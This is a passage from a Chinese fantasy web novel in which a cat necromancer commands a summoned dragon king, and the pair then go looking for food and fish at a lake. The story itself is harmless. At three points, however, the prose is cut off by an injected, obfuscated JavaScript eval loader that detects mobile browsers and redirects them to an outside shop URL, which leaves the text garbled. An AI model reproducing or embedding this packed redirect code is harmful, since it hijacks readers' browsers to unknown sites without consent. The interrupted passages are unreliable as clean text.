“可不能让你制造更大的动静了。”莫特默说,语气一副不在状态,毫无紧张感的样子, “活动身体就到此为止吧。” 亥伯龙充耳不闻,身后的龙尾划过一条圆润的弧线, 随即闪电般朝莫特默再次劈来! 莫特默眼睁睁看着那条猩红的凶器逼近,然后, “【停。】”他说。 那声音并不响,在亥伯龙耳中却古怪的清晰。 瞬间,整个世界好像都静了下来。 没有额外的杂音,也没有绚丽的光芒,此地的空间却仿佛在这一刻按下了暂停键……不,是只有一个身影被暂停了。 亥伯龙手臂上青筋鼓起,尾巴上的鳞片绷紧,如冷兵器般闪烁着寒光,他用力到甚至连尾巴尖都在使劲,可就是纹丝不动,不得寸进。 一丝难以置信和惊愕划过亥伯龙的眼底。 “你是我召唤的仆从,我是你的主人,你服从我的命令不是理所当然的喵?” 看出亥伯龙眼底的情绪,莫特默舔了舔爪子,用一种高高在上的语气道。 他蹲坐在窗沿上,小小的身躯不比亥伯龙的拳头大多少,那毛茸茸的身子蜷缩在一起,看上去就像一个柔软的毛球。 但此刻,就是这个毛球,轻而易举地让这世上最强大的生物顷刻乖乖就范。 亥伯龙面色变冷,原本就透露着危险的脸庞此刻更是如同覆盖了一层寒霜。 死灵法师……这只“猫”…… 他的脑海中迅速闪过之前那场召唤的细节,心中闪过明悟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021769|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>……不是意外。 即使是“偷袭”,也是在提供的“报酬”足以撼动契约的前提下。 对方竟让他们之间的契约变为了他完完全全必须听命于其的状态。 眼前这名披着猫咪皮囊的死灵法师……确实如他所说,有可能是有史以来最出色的那个! 莫特默身形轻盈地从高高的窗沿一跃而下。 他垫着脚,脚步轻快又从容地绕着被契约束缚,一动不动的亥伯龙转了一圈,才在亥伯龙正面站定。 “好了,龙,记得以后好好履行你的义务,遵从我的命令!” 他尾巴一甩,尾尖的白毛毛便服帖地环在爪边。 莫特默挺直了腰杆,清了清嗓子,再次强调道, “听好了,接下来就是我的第一个命令,也是你接下来最重要的任务!” 结结实实吃了一个下马威的亥伯龙暗金的瞳孔随着莫特默小小的身影转动。 闻言,他眉心凝起一抹冷意,眸中凶光乍现,眸光瞬间如利刃般刺向莫特默。 如果视线可以化作实质的攻击,莫特默恐怕已经被刺戳得千疮百孔,鲜血淋漓地倒在地上。 命令? 专门将他从沉睡中唤醒,对方究竟怀着什么不可告人的目的,又想用他做什么? 亥伯龙不用思索,答案便自动跳了出来。 以一名死灵法师的作风,左右不过是利用他剿灭、征服周遭的敌人,或是逼迫他交出生前那些价值连城的宝藏。 又或者干脆点,命令他屠杀周围的城邦从而炮制一场前所未有的亡灵天灾,让整个世界都将陷入一片黑暗与恐怖之中,以此让所有人都对其俯首称臣。 想到这,亥伯龙厌烦地…… 莫特默趾高气昂,大声指使道: “【抱我!】” 亥伯龙:…… 亥伯龙:? 就在他的思绪还在怔愣间,他的身体已经忠实地遵循莫特默的命令,弯下腰堪称轻柔地抱起莫特默。 莫特默窝进那炙热柔软的凹地,将冰冷的爪爪贴在那隆起的柔软地方暖爪,爪子开花地踩了踩,惬意地叹了一口气。 与冰冷的铁皮或是满是尘土的地面相比, 看看,这才是猫应该过的日子。 遮挡住月亮的乌云恰时悠然飘开,明亮的月光如决堤的洪水,重新透过通风口打入房间,精准地泼在莫特默的身上,将每一根毛毛都照得根根分明。 那身缎子般的皮毛不只是看上去油光水滑,触碰上去更是宛如在抚摸云朵般柔软,让人爱不释手。 毛茸茸的温热身躯贴在亥伯龙的身上,随着小小的呼吸一起一伏,稚嫩的爪子一抓一抓的,一点也不痛,反而有点痒痒的。 刚刚还不可一世的亡灵法师亲昵地挨着他,和任何一只惹人怜爱的小宠无异。 亥伯龙怀中揣着一大团毛茸茸,张了张嘴:“………” 这种失语的感觉也是极为罕见,饶是亥伯龙,也一时放任自己陷入了沉默好几秒。 少倾,他微微眯起眼睛,仿佛要将莫特默看穿,语气难辨道: “你不会以为这样做就可以讨好到我吧,亡灵法师?” 作为龙王,还是有史以来最强之龙,想要朝他献媚的,无论是什么种族,职业,甚至性别,如过江之鲫般数不胜数,但像莫特默这般胆大包天,甚至可以说狂妄到这种地步的,他还是第一次见。 作为一个死灵法师,朝刚刚还想要取他性命,从而被他狠狠镇压的亡灵仆从献媚? ……真是滑稽。 对方又是凭认为他会受惑?就凭那张故作可爱的皮囊? 亥伯龙垂眼扫视怀中的莫特默,视线在经过那双还在埋头苦干,不停按压的爪子时顿了顿,最终停在莫特默因享受而微微翘起的ω型嘴上。 作为一只猫来说,以对方的姿色,可能确实足以博得不少喜爱皮毛者的欢心或怜爱,更有甚者恐怕会忍不住将头埋进柔软的腹部狠狠亲香一番,但想要借此讨好他? 手段属实拙劣。 亥伯龙忍不住讥讽:“真以为自己人见人爱,魅力无边,随随便便谁都会为你着迷?” 闻言,莫特默抬起头,睁着那双水汪汪的大眼睛,无辜又无声地望了过来。 猫圆润的眼睛清澈得如同山间的清泉,底色的鎏金色纯得没有一丝杂质,剔透的眼在月光下宛如是由于被冤枉从而委屈到要掉眼泪般,泛着柔波般的湿润水光。 只稍看一眼,就好似被轻轻捏了一把心脏。 莫特默努着ω型嘴,眼睛溜圆:? 龙在叽里咕噜说什么呢,猫听不懂。 但那所谓的“人见人爱,魅力无边”…… 莫特默歪了歪头,用眼神笃定道:难道不是喵? 莫特默:wink~(Oω<> 亥伯龙:…… 亥伯龙阖眼。 4. 第 4 章 晨光洒在灰扑扑的水泥地上,细微的灰尘在光中慢悠悠地漂浮着。 此时已天光大亮。 毛坯房内静悄悄的,好似一如既往的空旷寂寥,只有从通风口闯入其中的晨光还在地面上继续攀爬。 光一点一点往上,直到照在某个团成一团的毛球上。 那个睡得喷香的身影呼吸频率悄然发生轻微的改变。 几乎是同时,亥伯龙敏锐地睁眼,眸光清醒,其中没有一丝惺忪。 他一只腿稳稳地支起,另一只胳膊自然地搁在那只支起的腿上,整个人呈现出一种放松却又充满力量的姿态。 他就这样随意地背靠着墙,坐在地上,衣角垂落在地上沾染上灰尘,可即便如此,也依然散发着一种不怒自威的气场。 只是和他轻松的坐姿不同,他的另一只胳膊牢牢地贴在胸前,好似怀中紧紧抱着什么,一动不动地,显得有些僵硬和突兀。 而他的怀中…… 亥伯龙无言地看着某个明明已经醒了,但仍然闭着眼的毛茸茸像是在逃避直照他的恼人阳光,又像是在逃避他的目光,将脑袋埋进更深处,腮帮子用力地挤压着他的胸膛,不肯抬头。 在龙存在感愈发明显,也愈发不容忽视的视线中,某猫若无其事地翻了个身,露出雪白的肚皮,又明目张胆地伸了个大大的懒腰。 莫特默将身子拉成长长的一条,爪子也狠狠开了一次花,过了好一会儿,才磨磨蹭蹭,不情不愿地睁开眼。 一睁眼,正对上亥伯龙锋利到近乎能割伤皮肤的目光。 双方的视线互相交汇了数秒, 就在这挑衅般的长久对视即将擦枪走火时,莫特默率先一爪子猛地按在亥伯龙脸上,打断了对视。 他一个翻身,转身干脆利落地从亥伯龙怀中跳到地上,泰然自若地说:“早喵~” 亥伯龙没有回答。 昨夜一整晚,他一直维持着相同的姿势。 莫特默倒是美滋滋压在他胳膊上,下达完【保护他】,【停留在此地】等命令,就在他的怀中呼呼大睡,滩成一张猫饼,徒留亥伯龙当了一晚上的雕塑和床垫。 亥伯龙不紧不慢地放下手臂,盯着莫特默的视线依旧像是被扑灭,但余烬仍在隐隐闪烁的火星子,又像隐藏在水中的鳄鱼,只需要一个机会,就会扑向猎物的脖颈。 作为死后被召唤的亡灵使魔,他既不需要吃喝也不需要睡眠,只要身为召唤者的主人魔力充足,他就能随时随地的保持完美的状态,自然不会因为区区一晚上的不动存在什么手臂僵硬的情况。 他的不愉,更多的还是因为自己目前受制于人的状态。 他竟沦落到…… 亥伯龙的瞳孔中心倒映出那只小小的,正在舔爪子洗脸的身影。 成为一名死灵法师,一只猫的使魔。 无论他生前再如何强大,辉煌,威名赫赫,死后也不过脖颈被系上绳索,现在任由远比他弱小数倍的生物摆布。 他为此感到克制不住的暴怒,也为此感到一种疲懒的怠倦。 亥伯龙注视着莫特默的一举一动,随即又烦躁地蹙起眉,冷淡地移开视线。 ……虽然外表是猫,但里头果然还是恶心透顶的死灵法师。 简单打理完,莫特默抖抖毛,终于有心思扭头搭理亥伯龙: “龙,给我讲讲这个世界!” 亥伯龙:“滚。” 莫特默:? 莫特默勃然小怒:“龙,我可是你的主人!” 怎么和你伟大的主人说话呢! 亥伯龙:“嗤。” 莫特默:?! 莫特默不可置信地瞪着亥伯龙,亥伯龙无动于衷,脸上写满了“再吵杀了你” 盯着拒不配合的亥伯龙,莫特默顿时有点小小的烦恼。 他虽然可以用命令强制亥伯龙开口,但这种强制性的命令需要额外的魔力,他现在魔力不丰,可不想将魔力浪费在这种小事上,而且他总不能事事都要强迫自己的使魔去做吧? 接下来怎么办呢…… 莫特默沉吟。 他瞅了瞅亥伯龙,很快表情一定。 既然非暴力不合作,那就只能…… “咳咳,亥伯龙,如果你不听话,我就只能……”莫特默为难道。 “命令我自裁?” 亥伯龙似笑非笑地望过来。 “……就把你的鳞片染成荧光粉!!!” 莫特默的声音铿锵有力,接着说完这句话。 亥伯龙:…… 亥伯龙:……? “还要给你拍写真,给你的族人递绑架信,让你族人交赎金!” “龙族都很有钱吧?你还是龙王,会更值钱吧?” 他的魔力不能浪费,既然指挥不动仆人,那就在解除契约前物尽其用,用其大捞一笔,桀桀桀桀! 莫特默越说越兴奋,也越说越意动,不怀好意的小眼神瞅了过来。 “我还要……喵唔唔!” 不知不觉间,亥伯龙的手捏住了莫特默的嘴巴。 亥伯龙:“……” 莫特默用眼神严厉地指责:大胆! 亥伯龙深吸一口气,额头爆出青筋,忍耐道:“死灵法师,给我适可而止!” 莫特默继续用眼神示意:那你的回答呢? 亥伯龙冷厉回视。 莫特默立马轻哼了一声,鼻腔吹出的小小的气喷在亥伯龙的手心,带着温热的气息。 下一瞬,亥伯龙嫌弃地撒开手。莫特默晃了晃尾巴,盯着亥伯龙,像是一计不成,又在打什么鬼主意般瞧个不停。 亥伯龙自是任他看,一只手抵着下颚,干脆眼不见心不烦地阖上眼。 但即使是阖上眼,他依旧能感觉到莫特默那如有实质,不胜其烦的视线。 啧。 少倾,他听到那死灵法师忽地开口,语气中带着不知从哪来的笑意,像是在刻意取笑他,语调上扬:“装模作样。” “你,”接着,他又像是抓住什么把柄般,声音里带着一种让人恼火的笃定,胜券在握又可恶至极地说,“明明就很喜欢我吧。” 亥伯龙:…… 亥伯龙不置可否地睁眼。 莫特默尾巴尖像是在耀武扬威般高高翘起,又像是故意吸引亥伯龙注意力般在空中左右晃动。 注意到亥伯龙的视线,他脸上更是刚成功偷了腥般的惬意与狡猾。 在亥伯龙回话时,他就意识到了。 龙族可是出了名的在乎自己鳞片的颜色,不同颜色之间甚至有着鄙视链, 但亥伯龙面对他说要将他鳞片染色的话竟只是让他闭嘴? 哼哼哼~ “不过喜欢我也是龙之常情!” “因为我就是世界上最聪明,最特别,最有魅力,最邪恶的猫!” 那副大言不惭,自鸣得意的模样,活像是在说什么真理似的。 “快将你知道的如实道来,不然小心你的鳞片!” 当然,他没有忘了之前的粉红写真计划,故作邪恶地威胁。 “坦白从宽,还可以让你摸摸我的爪子哦!” 说着,又做出一副屈尊纡贵的模样,朝亥伯龙矜持地伸出一只爪。 亥伯龙睨着那只白色爪爪。 这简直是他受过的,最荒唐,最可笑的贿赂。 认真的?认为他会因为这屈服? 这个死灵法师远比他预想中的还要无知、妄自尊大,自命不凡。 “……”亥伯龙说,“没什么好讲的。” 他视线越过通风口,眺望远处的高楼,视线平静。 “这已经不是我的时代了,自然也不是我熟知的世界。” 被召唤到现世,他不会感知不到空气中与他时代相比有明显降低的魔力,也不会看不到那些林立的古怪建筑。 “我对这个世界的了解不会有你的万分之一多。” “拿这个问题来问一个不知已经死了多久的亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021770|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵,不觉得可笑?” 说到最后,亥伯龙的笑容重新变得充满凶性。 莫特默若有所思地点点头:“原来如此,你也不知道现状啊……那就有些头疼了。” 亥伯龙:……嗯? 亥伯龙微怔,没有错过莫特默口中的那个“也”字。 “没错!”莫特默迎着亥伯龙转过来的视线,挺胸,“我不是这个世界的猫哟!” 没错!他已经想明白了!从未见过的陌生场景,魔力匮乏的土地,从未听说过的古龙王…… 答案只有一个—— 他被他的魔法事故炸去了异世界! 短暂的怔忪后,亥伯龙微微挑眉,语气不明道,“难怪一只猫能成为死灵法师。” “还将是有史以来最强的死灵法师!”莫特默语气笃定。 亥伯龙顷刻变脸,眼神晦涩。 啊……是啊。他怎么会忘了。 眼前这个可不是什么温驯的小猫,而是一个死灵法师。 不会有谁比他更清楚那弱小身躯内影藏着怎样庞大的力量。 那幅看上去无害柔弱的皮囊,估计也不过是一张向外展示的假面,一个用来让敌人放松警惕的工具。 亥伯龙幽邃的眼眸凝视着莫特默看似沉浸在邪恶愿景中,毫无防备的身影,心中原本被压抑下去的杀意再次翻涌,充斥他的大脑。 一个模糊的影子浮现在眼前,覆盖笼罩在莫特默的身影上。 亥伯龙手指不自觉微微蜷曲,手向莫特默移动。 杀意逐渐清晰,他的指尖就要触碰到那个温热的身躯。 “咕噜——” 倏地,一道奇怪的声音传来。 这声音不大,却在这寂静的空间里显得格外明显。 莫特默的神情瞬间一僵,慢动作地低下头,缓缓望向自己的腹部。 “咕噜——” 又是一声,声音比之前更加清晰,仿佛是在刻意强调自己的存在。 而声音的来源是什么已经很明显了。 “咕噜噜——” 莫特默眼睛瞬间变得水汪汪的,他睁着一双蛋花眼,楚楚地抬头。 “龙,猫饿了……” 他眼巴巴地对亥伯龙说,声音低迷,看起来要多委屈有多委屈,要多可怜有多可怜。 亥伯龙:…… 那道覆盖在莫特默身上的倒映在奇怪又搞笑的腹鸣声响起时被一举打散, 莫特默鲜活动人的表情随之展露在他眼前。 恶心的死灵法师…… 亥伯龙从地上起身,伸出的手一把揪住莫特默的后颈肉,提着莫特默往外走。 “喵?”莫特默小小的四肢在空中晃悠。 亥伯龙淡道:“不是你向我乞食?” 莫特默的眼神立马变得得意,不吝啬于夸赞道:“龙,你终于有仆从的自觉了!” 亥伯龙嗤笑,“少在那自作多情。我只是暂时改变了主意,想在现在的世界多留一会儿罢了。” “你要是饿死了,可没下一个胆敢召唤我的死灵法师。” “况且,”他掂了掂莫特默,那小小的身体和他的手相比也大不到哪里去,重量也轻飘飘的,符合一只猫,却难以想象同时也是臭名昭著的死灵法师,口中随意道, “我对你口中的另一个世界也有点兴趣。” 莫特默顿时眼睛一亮,高兴道:“好喵!那我们一起寻找回去的办法!” 亥伯龙不置一词。 看在莫特默从没对他说过谎的份上,他勉强还有一丝耐心去忍受一个亡灵法师。 如其所说,虽然莫特默是一个恶心的死灵法师,但不得不承认确实实力出众,同时…… 对方也确实是这世上…他见过的,最特别的猫。 但想要他听令? 亥伯龙轻轻捏着莫特默脆弱的脖颈处,嘴角的弧度扩大,显露出来、抵在唇边的尖锐犬齿让他的神情变得危险起来。 看他心情。 5. 第 5 章 “诶,快看那边!” “红头发的外国人?好帅!” “是cosplay吗?” 兴奋又近乎呢喃的窃窃私语无障碍地传入亥伯龙耳中。 一出废弃工地,亥伯龙过于出挑的面貌和他那身与周围人格格不入的华丽衣裳很快引起了其他人的注意。 亥伯龙循着朝他投来的目光冷淡地扫视了一圈, 但和他的预期相反,他的视线非但没有造成威慑,反而像什么鼓励一般,周围传来一阵骚动,想要靠近的意图反而变得愈发强烈。 感受到周围人的蠢蠢欲动,亥伯龙眼睛微微转动,评价道:“真是不知死活。” 真是和平。 也只有在过于和平的世界,这些人类才会无知又充满好奇地试图靠近一个从未见过的生物,丝毫意识不到其中潜藏的巨大危险,浑然忘了一个最基本的道理: 颜色越是艳丽的生物,越是危险,越是最好不要靠近。 与他的时代相比,在这个时代生存的生物显然完全丧失了宝贵的危机感。 不……或者丧失危机感的,只有人类? 余光中,一只鸟雀“唰”地一下从枝头头也不回地惊慌飞走,亥伯龙漫不经心地想道。 莫特默蹬了蹬腿,唤回亥伯龙的注意力,拖长了音催促,“龙……猫饿……” “啊~那只猫也好可爱。” “声音好娇啊,嘿嘿嘿,夹子猫~” 周围的人虽没有真的凑上前,但三三两两聚在一起交头接耳,手中大多都举着一个方方正正的铁皮对准莫特默和亥伯龙,不知在干什么。 没有从中感知到危险,也不觉得真的有武器能伤害到自己,亥伯龙无视周遭的情况,不耐地捏了捏莫特默示意自己知道了。 话说,猫……猫吃什么来着? 在野外,他饿了一般就随便抓个猎物来吃,猫的话……应该也是吃肉的吧? 附近的小型猎物在他出来后都逃得飞快,短短几分钟,都快跑出二里地了,而剩下可以唾手可得的…… “吃人吗?”亥伯龙随口问,眼睛本能地盯向周围的人群,判断起其中哪个最肥美。 可过了好几秒,他都没有得到回复,被他捏住脖颈的莫特默也没有做出任何举动。 亥伯龙带着点疑惑低头,对上莫特默不可置信的眼神。 就在下一瞬间, “欺猫啦——!欺猫啦——!” 莫特默一边嚎叫,一边在亥伯龙手中剧烈扭动挣扎起来。 亥伯龙如莫特默所愿地松开手,让莫特默跳到地上。 莫特默一落到地上,就面对着亥伯龙拖着步子朝离亥伯龙远去的方向急速小碎步倒退,直至退到至少有两步左右的距离才停下, 即使停下,身子也在朝远离亥伯龙的方向倾斜后仰。 “怎么可以喂猫吃人!” “竟然有龙想喂猫吃人!!!”他站在那,语气震惊得活像在说亥伯龙想喂他吃粑粑或在给他投毒。 莫特默控诉:“怎么会有这么坏的仆从!这么坏的心肠!怎么对小猫这么坏啊!” 从没养过猫的亥伯龙:“……” 他虚虚地握起之前揪着莫特默的那只手。 “娇气。”亥伯龙冷声道。 不吃人那吃什么? 亥伯龙不爽地抬眸,再一次环视周围。 见那些碍事的人类还在周围堵着,亥伯龙拧着眉,就想变回原形,带着莫特默飞到远一点的地方。 “喂,走了,这里没有……”他扭过头,接着猛地止住话。 只见莫特默原本所在的地方,现在空空如也。 亥伯龙:! “…………猫呢?” * 清风徐徐,万里无云。 平静无波的湖面倒映出碧蓝的天空,也一同倒映出坐在岸边钓鱼的人。 钓鱼人拿着钓竿,蹲坐在湖边,心情惬意地耐心等待着。 今天天气不错,实在是个适合钓鱼的好天气。 离他一段不断的距离,还坐着好几位钓友,不过要他说,他选的这个位置才是最好上鱼的位置,他们之间最先钓到鱼的,也一定是他! 浮标立在湖面上,时间一分一秒地过去。 充满期待的等待间,钓鱼人忽地冷不丁意识到一个问题。 今天是不是有些太安静了? 他神游着,侧了侧耳朵倾听。 那些鸟儿的叽喳声,昆虫的嗡鸣,怎么都消失不见了? 钓鱼人心里有些奇怪,不知不觉间,湖边静了下来,静得似乎只有他自己的呼吸声。 他不知怎么有些紧张起来,下意识望向隔壁的钓友。 钓友们和往常一样,一个个都在那一动不动地盯着湖面。 是错觉吗? 钓鱼人没有再继续深想下去,因为—— 他感觉到背后有一股视线。 有什么,在看他。 这个想法空前鲜明,钓鱼人背后蓦地爬上一股寒意,他喉结滚动,轻轻咽了一口吐沫,身体不受控制变得紧绷。 “唰啦” 身后的草丛发出有什么经过的声音。 那个注视他的不明物似乎也意识到被发现了,在朝他靠近。 “它”靠近得越来越快,有什么东西在靠近的预感越来越强烈——! 钓鱼人猛地回头。 一只黑白相间的奶牛猫端坐在他身后,可爱地歪着头看着他:“喵~?” “呼……”钓鱼人长长地舒了一口气,提起的心慢慢回落,如释重负,“什么啊……” 他缓过神来,抹了一把额头,失笑道:“原来只是只猫。” 以往也不是没有猫闻着味来讨鱼,他怎么今天这么神经质?钓鱼人摇摇头,浑然忘了自己之前所有的警惕。 猫轻轻用爪子抓了抓他的鞋子,发出撒娇的声音:“喵~” 钓鱼人乐呵呵地,由于刚刚的心理阴影,没有伸手去摸那一身看上去就丝滑的皮毛,但还是情不自禁应承地说道: “等等啊,看我给你钓个大的!” 这是个好兆头,他想,这么多人中猫偏偏来找他,这不就说明他今天要钓大鱼吗? 听到他的话,那只猫像是在应和他般,又细细地叫了一声。 信心在心中膨胀,钓鱼人踌躇满志地回首,继续盯向湖面。 五分钟过去了。 湖面平静。 猫探头探脑地往湖面上看。 钓鱼人坐姿八风不动,顺手往湖里抛洒了一把窝料,朝那只猫打包票:“等着瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021771|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 这很正常,鱼哪有那么快上钩的? 十分钟过去了。 浮标一动不动。 猫催促似地站在钓鱼人一眼能看见的位置,爪子跺来跺去。 钓鱼人眼神坚定,也一动不动:“马上就来,马上就来。” 别急,鱼只是在赶来的路上,它们有自己的节奏。 二十分钟过去了…… 鱼护空荡荡,耳边传来其他人钓上鱼的声音。 “咕噜——”的腹鸣声中,猫慢慢地回过头,眼神充满人性化的幽怨。 钓鱼人如坐针毡,满头大汗。 奶牛猫看看旁边的钓友,又看看眼前的钓鱼人,像是在暗搓搓,不,已经是光明正大地指责钓鱼人的空军行为! 钓鱼人浑身一震,受不了捂住心脏。 这,这……钓鱼人的事能叫空军吗?这叫时机未到!鱼口不行!饵料不对! 况且虽然没钓到鱼,但猫不是找过来了吗,这猫怎么不算是他钓的呢?! 彻底放弃了等待,猫几步蹦到接壤着湖水的石头上,尾巴一甩,就像个鱼钩般放进水里,姿态老神在在。 钓鱼人看得好笑,觉得又是有趣又是无奈。 呦呵,这猫竟还想着自己钓鱼?但钓鱼可不是那么简简单单…… “哗啦——”鱼尾拨开水面的声音清晰可闻。 钓鱼人如遭雷击。 不————! 他猛地站起身,不可置信地眼睁睁看着一尾鱼义无反顾,坚定不移地咬向水下漂浮的白色尾尖,像是在看舔了十几年也没能舔到,结果转头就和别人结婚的女神。 终究是……错付了。 钓鱼人眼神灰暗,心中一行清泪划下,委顿坐下。 猫抖抖尾巴尖,那条咬着尾巴的鱼像是这才忽然意识到不对,迟疑地松开嘴,鱼身一扭,就要离去。 等等! 钓鱼人一个鲤鱼打挺,又猛地坐直身子,伸长脖子。 哈哈,他就说了,钓鱼不是那么简…… 一尾比之前那条更大的鱼浮出水面,一口咬住猫的尾巴尖。 钓鱼人:…… 怎么,会,这样…… 钓鱼人的眼中,彻底没了光。 那只格外特别的奶牛猫打量了一番那条鱼,随即像是满意了,做出要将尾巴向后提的姿势。 可就在猫提尾,鱼上岸的霎时, 那条原本死死咬住猫咪尾巴尖的大鱼蓦地松口,疯狂摆尾,一个激灵,毫不犹豫转头逃也似地遁入湖底。 “脱钩了——?!”“怎么回事?鱼护里的鱼怎么在跳?” 与此同时,不远处同时传来其他人惊愕、疑惑的呼喊。 这是怎么了?钓鱼人愣在原地,迷茫不已。 他钓鱼十几年,从未见过这样的情景,就好像是…好像是有什么把鱼都惊吓走了,连被困在鱼护里的也一同惊慌地想要逃窜。 可,发生什么了? 莫特默盯了一会浑浊的,已经见不到任何鱼影的湖水,不高兴地回首: “你把我的鱼吓跑了,亥伯龙。” 听到猫不满的喵喵叫,钓鱼人后知后觉地扭头。 “哼。”一道低沉的,让人联想到岩层下地火的声音在他身后响起。 6. 第 6 章 出声的男人身形高大,浑身肌肉紧实,存在感鲜明地站在那,足足高了钓鱼人一个头。 他双手抱臂,气势惊人,看上去充满距离感,但整个人又有些微妙的松弛感, 像是吃饱喝足了后的狮子,让一旁的人明知道狮子的危险的同时,又冥冥中确信自己的安全。 他说:“是他们太弱了。” 钓鱼人惊觉地从恍惚中回神,什么?男人说了什么?又是在和谁说话? 对方一定是开口了的,但他怎么没听清对方到底在说什么? 声音像是一团模糊的混合音,穿过大脑离开时没有留下一丝残留。 他一边呆呆地看着男人与他擦肩而过,朝湖边的猫走去,一边忍不住狐疑: 他刚刚怎么会没有发现这个男人站在他身后? 明明……明明…… “明明是你脚步声重得像闯进陶器店的驼鹿!” 莫特默气不过,嘴巴撅得能挂油瓶,忿忿加强语气, “就是你吓走了我的鱼!” 这个指控可不够恶毒。 亥伯龙想到曾经那些对他脱口而出的“真正的”指控,心里甚至有点想发笑,但面对“攻击”,即使是最轻微的攻击,不还手可不是他的作风。 “那你还指望我轻得像只猫?” 亥伯龙掀了掀眼皮,口吻轻佻傲慢,带着惯有的讥嘲腔调。 莫特默立刻跳起来,张牙舞爪地就要给龙一个好看。 实在不行,饿向胆边生的猫也不介意勉为其难尝一口龙肉! 可惜猫猫创业未办而中道崩殂, 亥伯龙弯腰利落地一把用虎口卡住像个抱脸虫一般急速朝他扑来的莫特默, 另一只手一托,反手就是一个缴械,稳稳没收了凶器。 钓鱼人观察了一会,见猫对这个蓦然出现的男人态度熟稔,对方在玩闹中甚至将猫抱起锢在怀中,一只手强制握住两只猫爪后还丝毫没有被猫划伤,顺理成章地得出一个结论。 “……这是你的猫啊?”他恍然道。 话音刚落下,纠缠在一起的一人一猫双双齐刷刷扭头看过来。 钓鱼人顿时止住话头,心想糟糕,他是不是说错了什么话? 短短几秒后,男人怀中的猫率率先喵喵大叫起来。 莫特默暂时放弃因为亥伯龙过于皮糙肉厚,他的爪子根本留不下痕迹转而不死心朝亥伯龙手啃咬的举动,扭身不满地纠正道: “不是龙的猫,是猫的龙!” 人怎么能说猫是龙的?倒反天罡! 即便猫是龙的,看看龙是怎么养猫的?! 在一连串猫叫的背景音中,亥伯龙笑了,视线终于切实落到一旁的钓鱼人身上。 不得不承认人类有时也能说出取悦他的话。 “啊,没错。”他随意道,甚至用了翻译魔法,让人类能听懂他语言。 这一声像是打破了什么界限,钓鱼人不知怎么松了口气。 他笑道:“你家猫真厉害,你刚刚是没看到。它竟然用尾巴差点钓上一条鱼!” “就是可惜,临到头,鱼逃走了。”钓鱼人回想起那场面,比自己跑了鱼还唏嘘。 提到这,原本还在精力充沛地拿亥伯龙磨牙的莫特默也萎靡了下来,像是枯萎的枝条,软趴趴地变成一条猫条。 他…他的鱼……QAQ 莫特默两眼一闭,似乎有一个饿扁了的无形小猫魂从他身上升起,慢悠悠飘上天空。 这可比任何攻击和指控好使,猫猫轻而易举地被打倒了。 亥伯龙没眼看地松开抓着莫特默爪子的手。 “不就是一条鱼。没出息。” 这么说着,他望向湖泊。 钓鱼人微愣,立刻心领神会了亥伯龙的意图:“你也想钓鱼?” 他先是在心中感叹了一下真是人不可貌相,看不出来竟还是个爱猫的人,接着欲言又止,但还是好心劝道: “可刚刚……不知道怎么回事,鱼都跑了,接下来估计不太好钓了。” 亥伯龙鼻音发出一道上扬的音,似是疑问,细细听去,又分明更似轻蔑。 他揣着莫特默不让其从他身上滑下去,没有多言,一只后脚跟随意地轻轻磕地。 霎那间,一阵人类感知不到的波动从他脚下,沿着泥土,悄无声息地一圈圈传递开。 无形的力在固体中传播,空气中似乎也涌动起一股暗流,草丛发出沙沙声。 钓鱼人迟钝地眨了下眼。 “哗啦!!” 就在他抬眼之际,湖中心的湖水毫无预兆地翻腾起来! 原本平静如镜的湖面此刻像是被一只无形的大手搅动,湖水剧烈地涌动着, 无数鱼踊跃地跳出水面,又纷纷落入水中,溅起一朵朵洁白的水花,又接着再一次跳起。 钓鱼人眼睛猛地瞪大,听到那名背对着他抱着猫的男人轻描淡写的声音: “这不就来了。” 什…什么? 周围坐着的几个钓友也面露愕然,目瞪口呆。 “卧槽,发生了什么?!”“不管了,快,快拿抄网!” 在一众惊呼声中,钓鱼人慢了一拍地再一次听到短促的,带着催促意味的猫叫声。 “我要大的!我要那条!” 莫特默在亥伯龙怀中直起身子,眼神兴奋灵动,直勾勾盯上了湖中最大的那条。 “贪心。” 亥伯龙掂着连那条鱼十分之一大小都不到的莫特默,吐出两个字。 钓鱼人没注意到他怎么做的,只觉得眼前一花,再看清时,一条足有一人高的翘嘴已经被亥伯龙提在手中。 他提着那条翘嘴,姿势轻松得仿佛鱼的重量根本不存在。 说来也奇怪,在男人抓到手中的鱼后,湖里诡异的鱼跃行为也逐渐停止了。 岸边周围的钓友们开始逐一清点自己的收获,攀比谁手中的鱼最大, 而亥伯龙手中那条一人高的翘嘴无疑夺得了头筹。 并且由于鱼的尺寸过于夸张,周围的钓友纷纷聚集过来,啧啧称奇。 